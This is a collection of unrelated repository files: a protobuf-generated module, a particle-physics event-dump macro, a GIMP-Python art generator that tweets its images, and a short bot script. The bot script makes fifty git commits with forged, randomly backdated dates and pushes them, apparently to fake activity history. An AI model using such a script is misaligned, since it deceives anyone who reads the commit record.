test_mixup_cutmix_restore_train --model resnet18 --epoch 2 --validation-mode none --optimizer sgd_combined --batch-size 4 --dataloader-worker 1 --seed 0") run_script("train/restore.py", "--checkpoint-path test_mixup_cutmix_restore_train/resnet18_generated_1.pt") shutil.rmtree(os.path.join(parent_dir, "test_mixup_cutmix_restore_train"))
2.015625
2
python-package/entry_meta_pb2.py
openmit/openmit
15
12764338
# Generated by the protocol buffer compiler. DO NOT EDIT! # source: entry_meta.proto import sys _b=sys.version_info[0]<3 and (lambda x:x) or (lambda x:x.encode('latin1')) from google.protobuf import descriptor as _descriptor from google.protobuf import message as _message from google.protobuf import reflection as _reflection from google.protobuf import symbol_database as _symbol_database from google.protobuf import descriptor_pb2 # @@protoc_insertion_point(imports) _sym_db = _symbol_database.Default() DESCRIPTOR = _descriptor.FileDescriptor( name='entry_meta.proto', package='mit.protobuf', syntax='proto3', serialized_pb=_b('\n\x10\x65ntry_meta.proto\x12\x0cmit.protobuf\"&\n\x0c\x46ieldIdArray\x12\x16\n\x0e\x66ield_id_array\x18\x01 \x03(\r\"\xc6\x01\n\tEntryMeta\x12\x41\n\x0e\x65ntry_meta_map\x18\x01 \x03(\x0b\x32).mit.protobuf.EntryMeta.EntryMetaMapEntry\x12\x16\n\x0e\x65mbedding_size\x18\x02 \x01(\r\x12\r\n\x05model\x18\x03 \x01(\t\x1aO\n\x11\x45ntryMetaMapEntry\x12\x0b\n\x03key\x18\x01 \x01(\t\x12)\n\x05value\x18\x02 \x01(\x0b\x32\x1a.mit.protobuf.FieldIdArray:\x02\x38\x01\x42)\n\x11org.openmit.entryB\x0f\x45ntryMetaProtosP\x01\xf8\x01\x01\x62\x06proto3') ) _FIELDIDARRAY = _descriptor.Descriptor( name='FieldIdArray', full_name='mit.protobuf.FieldIdArray', filename=None, file=DESCRIPTOR, containing_type=None, fields=[ _descriptor.FieldDescriptor( name='field_id_array', full_name='mit.protobuf.FieldIdArray.field_id_array', index=0, number=1, type=13, cpp_type=3, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None, file=DESCRIPTOR), ], extensions=[ ], nested_types=[], enum_types=[ ], options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=34, serialized_end=72, ) _ENTRYMETA_ENTRYMETAMAPENTRY = _descriptor.Descriptor( name='EntryMetaMapEntry', full_name='mit.protobuf.EntryMeta.EntryMetaMapEntry', filename=None, file=DESCRIPTOR, containing_type=None, fields=[ _descriptor.FieldDescriptor( name='key', full_name='mit.protobuf.EntryMeta.EntryMetaMapEntry.key', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=_b("").decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='value', full_name='mit.protobuf.EntryMeta.EntryMetaMapEntry.value', index=1, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None, file=DESCRIPTOR), ], extensions=[ ], nested_types=[], enum_types=[ ], options=_descriptor._ParseOptions(descriptor_pb2.MessageOptions(), _b('8\001')), is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=194, serialized_end=273, ) _ENTRYMETA = _descriptor.Descriptor( name='EntryMeta', full_name='mit.protobuf.EntryMeta', filename=None, file=DESCRIPTOR, containing_type=None, fields=[ _descriptor.FieldDescriptor( name='entry_meta_map', full_name='mit.protobuf.EntryMeta.entry_meta_map', index=0, number=1, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='embedding_size', full_name='mit.protobuf.EntryMeta.embedding_size', index=1, number=2, type=13, cpp_type=3, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='model', full_name='mit.protobuf.EntryMeta.model', index=2, number=3, type=9, cpp_type=9, label=1, has_default_value=False, default_value=_b("").decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, options=None, file=DESCRIPTOR), ], extensions=[ ], nested_types=[_ENTRYMETA_ENTRYMETAMAPENTRY, ], enum_types=[ ], options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=75, serialized_end=273, ) _ENTRYMETA_ENTRYMETAMAPENTRY.fields_by_name['value'].message_type = _FIELDIDARRAY _ENTRYMETA_ENTRYMETAMAPENTRY.containing_type = _ENTRYMETA _ENTRYMETA.fields_by_name['entry_meta_map'].message_type = _ENTRYMETA_ENTRYMETAMAPENTRY DESCRIPTOR.message_types_by_name['FieldIdArray'] = _FIELDIDARRAY DESCRIPTOR.message_types_by_name['EntryMeta'] = _ENTRYMETA _sym_db.RegisterFileDescriptor(DESCRIPTOR) FieldIdArray = _reflection.GeneratedProtocolMessageType('FieldIdArray', (_message.Message,), dict( DESCRIPTOR = _FIELDIDARRAY, __module__ = 'entry_meta_pb2' # @@protoc_insertion_point(class_scope:mit.protobuf.FieldIdArray) )) _sym_db.RegisterMessage(FieldIdArray) EntryMeta = _reflection.GeneratedProtocolMessageType('EntryMeta', (_message.Message,), dict( EntryMetaMapEntry = _reflection.GeneratedProtocolMessageType('EntryMetaMapEntry', (_message.Message,), dict( DESCRIPTOR = _ENTRYMETA_ENTRYMETAMAPENTRY, __module__ = 'entry_meta_pb2' # @@protoc_insertion_point(class_scope:mit.protobuf.EntryMeta.EntryMetaMapEntry) )) , DESCRIPTOR = _ENTRYMETA, __module__ = 'entry_meta_pb2' # @@protoc_insertion_point(class_scope:mit.protobuf.EntryMeta) )) _sym_db.RegisterMessage(EntryMeta) _sym_db.RegisterMessage(EntryMeta.EntryMetaMapEntry) DESCRIPTOR.has_options = True DESCRIPTOR._options = _descriptor._ParseOptions(descriptor_pb2.FileOptions(), _b('\n\021org.openmit.entryB\017EntryMetaProtosP\001\370\001\001')) _ENTRYMETA_ENTRYMETAMAPENTRY.has_options = True _ENTRYMETA_ENTRYMETAMAPENTRY._options = _descriptor._ParseOptions(descriptor_pb2.MessageOptions(), _b('8\001')) # @@protoc_insertion_point(module_scope)
1.265625
1
macro/dumpEvent.py
Plamenna/proba
0
12764339
<filename>macro/dumpEvent.py # example for dumping an MC event import ROOT,os,sys,getopt import rootUtils as ut import shipunit as u import ShipGeoConfig ship_geo = ShipGeoConfig.Config().loadpy("$FAIRSHIP/geometry/geometry_config.py") PDG = ROOT.TDatabasePDG.Instance() def printMCTrack(n,MCTrack): mcp = MCTrack[n] print ' %6i %7i %6.3F %6.3F %7.3F %7.3F %7.3F %7.3F %6i '%(n,mcp.GetPdgCode(),mcp.GetPx()/u.GeV,mcp.GetPy()/u.GeV,mcp.GetPz()/u.GeV, \ mcp.GetStartX()/u.m,mcp.GetStartY()/u.m,mcp.GetStartZ()/u.m,mcp.GetMotherId() ) def dump(i,pcut): tree = ROOT.gROOT.FindObjectAny('cbmsim') tree.GetEntry(i) print ' # pid px py pz vx vy vz mid' n=-1 for mcp in tree.MCTrack: n+=1 if mcp.GetP()/u.GeV < pcut : continue printMCTrack(n,tree.MCTrack) def dumpStraw(i): tree = ROOT.gROOT.FindObjectAny('cbmsim') tree.GetEntry(i) for aStraw in tree.strawtubesPoint: trID = astraw.GetTrackID() if not trID < 0: printMCTrack(trID,tree.MCTrack)
2.25
2
main.py
boneyrox/Python-bot
0
12764340
<gh_stars>0 import os import random import math for i in range(50): d = str(math.floor(i + 133 +150*random.random())) + ' day ago' with open('bot.txt', 'a') as file: file.write(d) os.system('git add bot.txt') os.system('git commit --date="' + d + '" -m "first commit"') os.system('git push -u origin master')
2.578125
3
gimp_be/core.py
J216/gimp_be
3
12764341
import gimp from gimp import pdb from settings import * from network import * from image import * from utils import * from draw import * from paint import * from collections import Counter import TwitterAPI from random import randrange, choice, shuffle from string import letters import datetime as dt from time import sleep def setTwitterAPIKeys(ACCESS_TOKEN_KEY="NOT_SET",CONSUMER_KEY="NOT_SET",CONSUMER_SECRET="NOT_SET",ACCESS_TOKEN_SECRET="NOT_SET"): global settings_data if not ACCESS_TOKEN_KEY == "NOT_SET": settings_data['twitter']['ACCESS_TOKEN_KEY']=ACCESS_TOKEN_KEY settings_data['twitter']['CONSUMER_KEY']=CONSUMER_KEY settings_data['twitter']['CONSUMER_SECRET']=CONSUMER_SECRET settings_data['twitter']['ACCESS_TOKEN_SECRET']=ACCESS_TOKEN_SECRET saveSettings() def addHashtag(tag): #add hashtag to settings global settings_data settings_data['twitter']['hashtags']=settings_data['twitter']['hashtags']+u' #'+unicode(tag, "utf-8") saveSettings() def removeHashtag(tag): #return string of hashtags filling given character space global settings_data hashtags=map(str, settings_data['twitter']['hashtags'].split('#')[1:]) hashtags=map(str.strip, hashtags) if tag in hashtags: hashtags.remove(tag) rt='' for hashtag in hashtags: rt=rt+'#'+hashtag + ' ' rt.strip() settings_data['twitter']['hashtags']=rt saveSettings() return True else: return False def hashtagString(length=140,mode=0): #return string of hashtags filling given character space global settings_data hashtags=settings_data['twitter']['hashtags'].split('#')[1:] hs='' ll=[] for item in hashtags: if len(item)+2<=length: ll.append(item) ll.sort(key=len) while length > len(ll[0]) and len(ll) > 0: il=[] for item in ll: if len(item)+2<=length: il.append(item) shuffle(il) if not len(il)==0: nh=il.pop() if len(nh)+2<=length: length=length-len(nh)-2 hs=hs+'#'+nh.strip()+' ' if nh in ll: ll.remove(nh) if len(ll)<1: return str(hs).strip() return str(hs).strip() def setDefaultTweet(default_tweet='GIMP-Python tweet!'): global settings_data settings_data['twitter']['default_tweet']=unicode(default_tweet, "utf-8") saveSettings() def tweetText(opt=0): global settings_data now = dt.datetime.now() updateLocationData() title = imageTitle(2) city = settings_data["location"]["city"] state = settings_data["location"]["state"] host_name = settings_data["network"]["host_name"] tempf = settings_data["location"]["tempf"] weather = settings_data["location"]["weather"] hashtags = settings_data["twitter"]["hashtags"] time_stamp = str(dt.datetime.now()) tweet_text = '' if opt == 0: tweet_text = title + '\nby ' + settings_data['user']['author'] + '\n' + city + ' ' + state + ' | ' + host_name + '\n' + tempf + 'F ' + weather + '\n' + now.strftime("%A %B %d - %I:%M%p") elif opt == 1: tweet_text = title + '\nby ' + settings_data['user']['author'] + ' ' + time_stamp[:4] + '\n' else: tweet_text = title + '\nby ' + settings_data['user']['author'] + ' ' + time_stamp[:4] tweet_text = tweet_text + '\n'+hashtagString(139-len(tweet_text)) return tweet_text def tweetImage(message,image_file): global settings_data CONSUMER_KEY = settings_data['twitter']['consumer_key'] CONSUMER_SECRET = settings_data['twitter']['consumer_secret'] ACCESS_TOKEN_KEY = settings_data['twitter']['access_token_key'] ACCESS_TOKEN_SECRET = settings_data['twitter']['access_token_secret'] api = TwitterAPI.TwitterAPI(CONSUMER_KEY, CONSUMER_SECRET, ACCESS_TOKEN_KEY, ACCESS_TOKEN_SECRET) file = open(image_file, 'rb') data = file.read() r = api.request('statuses/update_with_media', {'status':message}, {'media[]':data}) return str(str(r.status_code)) def qS(): # quick set up of default size image imageSetup() def qXJ(comment=""): # quick export jpg default with unique file name global settings_data settings_data['path']['export_name'] = str(settings_data['path']['default_save_path'])+'art-'+dt.datetime.now().strftime('%Y%m%d%H%M%S')+'-'+choice(letters)+choice(letters)+choice(letters)+'.jpg' if comment=="": comment=tweetText(0) saved=saveJPG(settings_data['path']['export_name'],comment) qXDT(saved[1],comment) sleep(1) return saved def qXP(comment=""): # quick export png default with unique file name global settings_data settings_data['path']['export_name'] = str(settings_data['path']['default_save_path'])+'art-'+dt.datetime.now().strftime('%Y%m%d%H%M%S')+'-'+choice(letters)+choice(letters)+choice(letters)+'.png' image = gimp.image_list()[0] if comment=="": comment=tweetText(0) saved = savePNG(settings_data['path']['export_name']) qXDT(saved[1],comment) return saved def qG(comment="",delay=100): # quick export png default with unique file name global settings_data settings_data['path']['export_name'] = str(settings_data['path']['default_save_path'])+'animation-'+dt.datetime.now().strftime('%Y%m%d%H%M%S')+'-'+choice(letters)+choice(letters)+choice(letters)+'.gif' image = gimp.image_list()[0] if comment=="": comment=tweetText(0) saved = saveGIF(settings_data['path']['export_name'],delay) qXDT(saved[1],comment) return saved def qP(fn=""): # quick save project global settings_data if fn=="": fn = str(settings_data['path']['project_folder'])+'project-'+dt.datetime.now().strftime('%Y%m%d%H%M%S')+'-'+choice(letters)+choice(letters)+choice(letters)+'.xcf' saveXCFProject(fn) def qX(comment=""): # quick export to prefered file type global settings_data export_modes = {"qXJ" : qXJ, "qXP" : qXP, "qG" : qG} try: mode=str(settings_data['image']['export_mode']) return export_modes[mode](comment) except: mode='qXJ' return export_modes[mode](comment) def qT(): # generate tweet then qX() then send tweet return results global settings_data tweet = tweetText(0) exported=qX(comment=tweet) sleep(5) return (tweetImage(tweet, exported[1]) == '200', tweet) def qTG(): # generate tweet then qX() then send tweet return results global settings_data tweet = tweetText(0) exported=qG() return (tweetImage(tweet, exported[1]) == '200', tweet) def qXDT(fn,comment=""): global settings_data setEXIFTags(fn,{"Copyright":settings_data['user']['author']+" "+dt.datetime.now().strftime('%Y'), "License":settings_data['image']['license'], "Comment":comment, "XPComment":comment, "Description":comment, "ImageDescription":comment, "SEMInfo":comment, "Artist":settings_data['user']['author'], "Author":settings_data['user']['author'], "Software":"GIMP 2.8 Python 2.7 EXIFTool", "Title":comment[:comment.find('\n')], "XPTitle":comment[:comment.find('\n')], "Make":"GIMP", "Model":"Python", "Rating":"5"}) def paint(): # Full auto painting global settings_data image = gimp.image_list()[0] height = image.height width = image.width x_center = width/2 y_center = height/2 image.height image.width randomBlend() loop_range = range(0, random.choice((3, 4, 5, 6))) loop_range.reverse() title = imageTitle(2) for x in loop_range: # 1. add layer layer_add_par = {'opacity': 100, 'msk': 1} addNewLayer(**layer_add_par) layer_mode_par = {'layer': pdb.gimp_image_get_active_layer(image), 'mode': random.randrange(0, 25)} pdb.gimp_layer_set_mode(layer_mode_par['layer'], layer_mode_par['mode']) editLayerMask(0) drawable = pdb.gimp_image_active_drawable(image) # 1. paint layer if random.choice((0, 1, 1, 1)): plasma_par = {'Image': image, 'Draw': drawable, 'Seed': random.randrange(1, 1000), 'Turbulence': random.choice( (0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 1.0, 1.5, 1.1, 1.4, 1.8, 2.0, 2.7))} pdb.plug_in_plasma(plasma_par['Image'], plasma_par['Draw'], plasma_par['Seed'], plasma_par['Turbulence']) if random.choice((0, 1, 1, 1, 1)): drawRays_par = {'Number': random.choice((5, 10, 50, 100, 300)), 'Length': random.choice((80, 160, 240, 400, height / 4, height / 3, height / 2)), 'X': random.choice((width / 2, width / 3, width / 4)), 'Y': random.choice((height / 4, height / 3, height / 2))} drawRays(drawRays_par['Number'], drawRays_par['Length'], drawRays_par['X'], drawRays_par['Y']) # 1. mask edit editLayerMask(1) drawable = pdb.gimp_image_active_drawable(image) plasma_par = {'Image': image, 'Draw': drawable, 'Seed': random.randrange(1, 1000), 'Turbulence': random.choice( (0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 1.0, 1.5, 1.1, 1.4, 1.8, 2.0, 2.7))} pdb.plug_in_plasma(plasma_par['Image'], plasma_par['Draw'], plasma_par['Seed'], plasma_par['Turbulence']) if random.choice((0, 1, 1, 1, 1)): drawRays_par = {'Number': random.choice((5, 10, 50, 100, 300)), 'Length': random.choice((80, 160, 240, 400, height / 4, height / 3, height / 2)), 'X': random.choice((width / 2, width / 3, width / 4)), 'Y': random.choice((height / 4, height / 3, height / 2))} drawRays(drawRays_par['Number'], drawRays_par['Length'], drawRays_par['X'], drawRays_par['Y']) editLayerMask(0) # 2. add layer layer_add_par = {'opacity': random.randrange(70, 100), 'msk': 1} addNewLayer(**layer_add_par) layer_mode_par = {'layer': pdb.gimp_image_get_active_layer(image), 'mode': random.randrange(0, 25)} pdb.gimp_layer_set_mode(layer_mode_par['layer'], layer_mode_par['mode']) editLayerMask(0) # 2. paint layer if x % 4 == 0: drawBars_par = {'Number': random.choice((2, 3, 4, 5, 6, 7, 8, 12, 16, 32, 64, 128)), 'Mode': random.choice((0, 0, 3))} drawBars(drawBars_par['Number'], drawBars_par['Mode']) randomBlend() # 2. mask edit editLayerMask(1) image = gimp.image_list()[0] drawable = pdb.gimp_image_active_drawable(image) plasma_par = {'Image': image, 'Draw': drawable, 'Seed': random.randrange(1, 1000), 'Turbulence': random.choice( (0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 1.0, 1.5, 1.1, 1.4, 1.8, 2.0, 2.7))} pdb.plug_in_plasma(plasma_par['Image'], plasma_par['Draw'], plasma_par['Seed'], plasma_par['Turbulence']) randomBlend() editLayerMask(0) image = gimp.image_list()[0] # 3. add layer layer_add_par = {'opacity': random.randrange(55, 100), 'msk': 1} addNewLayer(**layer_add_par) layer_mode_par = {'layer': pdb.gimp_image_get_active_layer(image), 'mode': random.randrange(0, 25)} pdb.gimp_layer_set_mode(layer_mode_par['layer'], layer_mode_par['mode']) if random.choice((0, 1)): fill_par = {'num': random.choice((1, 1, 1, 1, 1, 1, 1, 1, 2, 3, 3, 3, 3, 4, 5, 8, 9, 12, 24, 64, 128, 512)), 'size': random.randrange(15, height), 'opt': 3, 'sq': random.choice((0, 1))} randomCircleFill(**fill_par) if random.choice((0, 1)): fill_par = {'num': random.choice((1, 1, 1, 1, 1, 1, 1, 1, 2, 3, 3, 3, 3, 4, 5, 8, 9, 12, 24, 64, 128, 512)), 'size': random.randrange(15, height), 'opt': 3, 'sq': random.choice((0, 1))} randomRectFill(**fill_par) editLayerMask(0) # 3. paint layer if random.choice((0, 1, 1, 1, 1)): drawRays_par = {'rays': random.choice((3, 5, 10, 15, 30, 45)), 'rayLength': random.choice( (width / 4, width / 3, width / 2, 4 * (width / 5), 3 * (width / 4), 2 * (width / 3))), 'centerX': random.choice((width / 4, width / 3, width / 2, 4 * (width / 5), 3 * (width / 4), 2 * (width / 3))), 'centerY': random.choice( (height / 4, height / 3, height / 2, 4 * (height / 5), 3 * (height / 4), 2 * (height / 3)))} drawRays(**drawRays_par) if random.choice((0, 1)): fill_par = {'num': random.choice((1, 1, 1, 1, 1, 1, 1, 1, 2, 3, 3, 3, 3, 4, 5, 8, 9, 12, 24, 64, 128, 512)), 'size': random.randrange(15, height), 'opt': 3, 'sq': random.choice((0, 1))} randomCircleFill(**fill_par) if random.choice((0, 1)): fill_par = {'num': random.choice((1, 1, 1, 1, 1, 1, 1, 1, 2, 3, 3, 3, 3, 4, 5, 8, 9, 12, 24, 64, 128, 512)), 'size': random.randrange(15, height), 'opt': 3, 'sq': random.choice((0, 1))} randomRectFill(**fill_par) if random.choice((0, 1)): randomBrush() if random.choice((0, 1)): randomDynamics() if random.choice((0, 1, 1, 1, 1)): brushSize(50) drawTree_par = {'x1': random.randrange(width / 4, 3 * (width / 4)), 'y1': random.randrange(height / 4, 3 * (height / 4)), 'angle': random.randrange(0, 360), 'depth': random.randrange(5, 7)} drawOddTree(**drawTree_par) # x1, y1, angle, depth if random.choice((0, 1, 1, 1, 1)): if random.choice((0, 1, 1, 1, 1)): brushSize(random.randrange(20, (height / 3))) if random.choice((0, 1, 1, 1, 1)): brushColor() drawRays_par = {'rays': random.choice((10, 50, 100)), 'rayLength': random.choice((80, 160, 240, 400, height / 4, height / 3, height / 2)), 'centerX': random.choice( ((x_center + x_center / 2), x_center, x_center / 2, x_center / 3, x_center / 4)), 'centerY': random.choice( ((x_center + x_center / 2), x_center, x_center / 2, x_center / 3, x_center / 4))} drawRays(**drawRays_par) # 3. mask edit editLayerMask(1) image = gimp.image_list()[0] drawable = pdb.gimp_image_active_drawable(image) plasma_par = {'Image': image, 'Draw': drawable, 'Seed': random.randrange(1, 1000), 'Turbulence': random.choice( (0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 1.0, 1.5, 1.1, 1.4, 1.8, 2.0, 2.7))} pdb.plug_in_plasma(plasma_par['Image'], plasma_par['Draw'], plasma_par['Seed'], plasma_par['Turbulence']) # 4. add layer layer_add_par = {'opacity': random.randrange(55, 100), 'msk': 1} addNewLayer(**layer_add_par) layer_mode_par = {'layer': pdb.gimp_image_get_active_layer(image), 'mode': random.randrange(0, 25)} pdb.gimp_layer_set_mode(layer_mode_par['layer'], layer_mode_par['mode']) brushSize(-1) editLayerMask(0) # 4. paint layer if random.choice((0, 1, 1, 1, 1)): drawSin_par = { 'bar_space': random.choice((16, 18, 19, 20, 21, 51, 52, 53, 54, 56, 55, 57, 58, 59)), 'bar_length': random.choice((10, 100, height / 3)), 'mag': random.choice((40, 69, 120, 200, 300, 400, height / 2)), 'x_offset': 0, 'y_offset': random.randrange(height / 12, height) } drawSinWave(**drawSin_par) if random.choice((0, 1, 1, 1, 1)): drawForest(random.randrange(15, 64), 0) if random.choice((0, 1, 1, 1, 1)): # 5. mask edit editLayerMask(1) image = gimp.image_list()[0] drawable = pdb.gimp_image_active_drawable(image) plasma_par = {'Image': image, 'Draw': drawable, 'Seed': random.randrange(1, 1000), 'Turbulence': random.choice( (0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 1.0, 1.5, 1.1, 1.4, 1.8, 2.0, 2.7))} pdb.plug_in_plasma(plasma_par['Image'], plasma_par['Draw'], plasma_par['Seed'], plasma_par['Turbulence']) if random.choice((0, 1)): fill_par = { 'num': random.choice((1, 1, 1, 1, 1, 1, 1, 1, 2, 3, 3, 3, 3, 4, 5, 8, 9, 12, 24, 64, 128, 512)), 'size': random.randrange(15, height), 'opt': 3, 'sq': random.choice((0, 1))} randomCircleFill(**fill_par) if random.choice((0, 1)): fill_par = { 'num': random.choice((1, 1, 1, 1, 1, 1, 1, 1, 2, 3, 3, 3, 3, 4, 5, 8, 9, 12, 24, 64, 128, 512)), 'size': random.randrange(15, height), 'opt': 3, 'sq': random.choice((0, 1))} randomRectFill(**fill_par) flatten() image = gimp.image_list()[0] drawable = pdb.gimp_image_active_drawable(image) canvas_par = {'Image': image, 'Draw': drawable, 'Direction': 1, 'Depth': 1} pdb.plug_in_apply_canvas(canvas_par['Image'], canvas_par['Draw'], canvas_par['Direction'], canvas_par['Depth']) def dimensionality(folder='',tweet=0): # automated creation of dimensionality study piece global settings_data if folder == '': folder = settings_data['path']['art_folder']+"resources/"+random.choice(["photos","fractals","plants","rock"])+"/" loadDirLayer(folder,9699690) if random.choice([0,0,0,0,1,1,1]): flatten() mirror() def fractalMasking(): # fractal layered wtih tile masks if random.choice([0,0,0,0,1,1,1]): image=gimp.image_list()[0] drawable = pdb.gimp_image_active_drawable(image) pdb.gimp_invert(drawable) for x in range(random.choice([3,6,7,8,9,10])): addFractal() tile([random.choice([1,2,3,4,5,6,7,8,12]),random.choice([1,2,3,4,5,6,7,8,12])]) if random.choice([0,0,0,0,1,1,1]): flatten() mirror() def randomMasking(): # tile mask from random resources image=gimp.image_list()[0] drawable = pdb.gimp_image_active_drawable(image) if random.choice([0,0,0,0,1,1,1]): pdb.gimp_invert(drawable) for x in range(random.choice([13,6,7,8,9,10])): qRes(opacity=random.choice([13,25,33,50,66,75,85])) layer_mode_par = {'layer': pdb.gimp_image_get_active_layer(image), 'mode': random.randrange(0, 25)} pdb.gimp_layer_set_mode(layer_mode_par['layer'], layer_mode_par['mode']) if 25 > random.randrange(0,100): tile([random.randrange(1,12),random.randrange(1,12)]) if random.choice([0,0,0,0,1,1,1]): flatten() mirror() def hybridMasking(option="SpBGsp", noise=0.3): # masking resources with lots of options drawInkBlot() if 'SpBG' in option: addSpacePhoto(opacity=50) if "Re" in option: applyEffect() for x in range(4,(10+random.randrange(int(noise*5*-1),int(noise*10)))): if 'ph'in option: qRes() if "Re" in option: applyEffect() tile([random.randrange(1,12),random.randrange(1,12)]) if "Re" in option: editLayerMask(1) applyEffect() editLayerMask(0) if 'sc' in option: qRes() if "Re" in option: applyEffect() tile([random.randrange(1,12),random.randrange(1,12)]) if "Re" in option: editLayerMask(1) applyEffect() editLayerMask(0) if 'sp' in option: qRes() if "Re" in option: applyEffect() tile([random.randrange(1,12),random.randrange(1,12)]) if "Re" in option: editLayerMask(1) applyEffect() editLayerMask(0) if 'fr' in option: qRes() if "Re" in option: applyEffect() tile([random.randrange(1,12),random.randrange(1,12)]) if "Re" in option: editLayerMask(1) applyEffect() editLayerMask(0) if random.choice([0,0,0,0,1,1,1]): flatten() mirror() def spikeDif(): # draw spike ball or random rays spikeBallStack(depth=random.choice([3,3,4,5,6,8,10,12,16,20])) applyEffect() if random.choice([0,0,0,0,1,1,1]): flatten() mirror() def inkBlot(): # draq basic ink blot inkBlotStack() applyEffect() if random.choice([0,0,0,0,1,1,1]): flatten() mirror() def skeleton(type="",num=10,delay=10,tweet=1,study_name="Multifunctional Study"): # function to take care of exporting and tweet all images produces automations = {"spikeDif" : spikeDif, "inkBlot" : inkBlot, "hybridMasking" : hybridMasking, "paint" : paint, "fractalMasking" : fractalMasking, "randomMasking" : randomMasking} for i in range(0,num): qS() # ################## # # This is the nugget # # ################## # if type == "": automation_pick = random.choice(automations.keys()) print(automation_pick) automations[automation_pick]() else: automations[type]() if tweet: signImage() flatten() tweet=imageTitle(2)+'\n by <NAME>\n'+study_name+'\n' tweetImage(tweet+hashtagString(len(tweet)),qX()[1]) print(tweet) closeAll() sleep(delay) else: qX() closeAll() def doWeatherPainting(): # draw day # -draw sun # -draw clouds # draw night # -draw sun # -draw clouds print('weather painting?') def addResource(options=0, resource_type="rock", opacity=90, resource_folder="", scale=[], position=[]): avoid_folders=['brushes','fonts','gradients','mask','overlays','paths','scraps','signature','stamps','stickers','stock-image','templates','tiles'] if resource_type == "random": cl=dict(Counter(os.listdir(settings_data['path']['art_folder']+'/resources/'))-Counter(avoid_folders)).keys() resource_type = random.choice(cl) if resource_folder == "": resource_folder = settings_data['path']['art_folder']+'/resources/'+resource_type+'/' resource_file = "" resource_files = [] if options == 0: if resource_type == "": for file in os.listdir(resource_folder): if os.path.isdir(resource_folder+file): for sub_file in os.listdir(resource_folder+file+'/'): if 'png' in sub_file: resource_files.append(file+'/'+sub_file) if 'jpg' in sub_file: resource_files.append(file+'/'+sub_file) else: if 'png' in file: resource_files.append(file) if 'jpg' in file: resource_files.append(file) else: for file in os.listdir(resource_folder): if 'png' in file: resource_files.append(file) if 'jpg' in file: resource_files.append(file) resource_file = resource_folder+random.choice(resource_files) loadLayer(resource_file) image = gimp.image_list()[0] active_layer = pdb.gimp_image_get_active_layer(image) pdb.gimp_layer_set_opacity(active_layer, opacity) if scale==[]: pdb.gimp_layer_scale(active_layer, image.width, image.height, 0) else: pdb.gimp_layer_scale(active_layer, scale[0], scale[1], 0) if position == []: pdb.gimp_layer_set_offsets(active_layer, 0, 0) else: pdb.gimp_layer_set_offsets(active_layer, position[0], position[1]) def qRes(options=0, sticker_type="random", opacity=90, sticker_folder="", scale=[], position=[]): if sticker_folder == "" and not sticker_type == 'random': sticker_folder = settings_data['path']['art_folder']+'/resources/'+resource_type+'/' addResource(options, sticker_type, opacity, sticker_folder, scale, position) def addSticker(options=0, sticker_type="", opacity=90, sticker_folder="", scale=[], position=[]): if sticker_folder == "": sticker_folder = settings_data['path']['art_folder']+'/resources/stickers/' addResource(options, sticker_type, opacity, sticker_folder, scale, position) def addFractal(options=0, fractal_type="", opacity=90, fractal_folder="", scale=[], position=[]): image = gimp.image_list()[0] if fractal_folder == "": fractal_folder = settings_data['path']['art_folder']+'/resources/fractals/' if position == []: position = [0,0] if scale == []: scale=[image.width, image.height] addResource(options, fractal_type, opacity, fractal_folder, scale, position) active_layer = pdb.gimp_image_get_active_layer(image) pdb.gimp_layer_set_mode(active_layer, random.choice([17,6,15,0,0,0,0,0,0])) def addPhoto(options=0, photo_type="", opacity=90, photo_folder="", scale=[], position=[]): image = gimp.image_list()[0] if photo_folder == "": photo_folder = settings_data['path']['art_folder']+'/resources/photos/' if position == []: position = [0,0] if scale == []: scale=[image.width, image.height] addResource(options, photo_type, opacity, photo_folder, scale, position) active_layer = pdb.gimp_image_get_active_layer(image) pdb.gimp_layer_set_mode(active_layer, random.choice([17,6,15,0,0,0,0,0,0])) def addSpacePhoto(options=0, type="", opacity=90, space_folder="", scale=[], position=[]): image = gimp.image_list()[0] if space_folder == "": space_folder = settings_data['path']['art_folder']+'/resources/space/' if position == []: position = [0,0] if scale == []: scale=[image.width, image.height] addResource(options, type, opacity, space_folder, scale, position) active_layer = pdb.gimp_image_get_active_layer(image) pdb.gimp_layer_set_mode(active_layer, random.choice([17,6,15,0,0,0,0,0,0])) def addScriptDrawing(options=0, type="", opacity=90, script_folder="", scale=[], position=[]): image = gimp.image_list()[0] if script_folder == "": script_folder = settings_data['path']['art_folder']+'/resources/script_drawings/' if position == []: position = [0,0] if scale == []: scale=[image.width, image.height] addResource(options, type, opacity, script_folder, scale, position) active_layer = pdb.gimp_image_get_active_layer(image) pdb.gimp_layer_set_mode(active_layer, random.choice([17,6,15,0,0,0,0,0,0]))
2.46875
2
Darlington/phase-3/python challenge/day 89 solution/qtn2.py
darlcruz/python-challenge-solutions
0
12764342
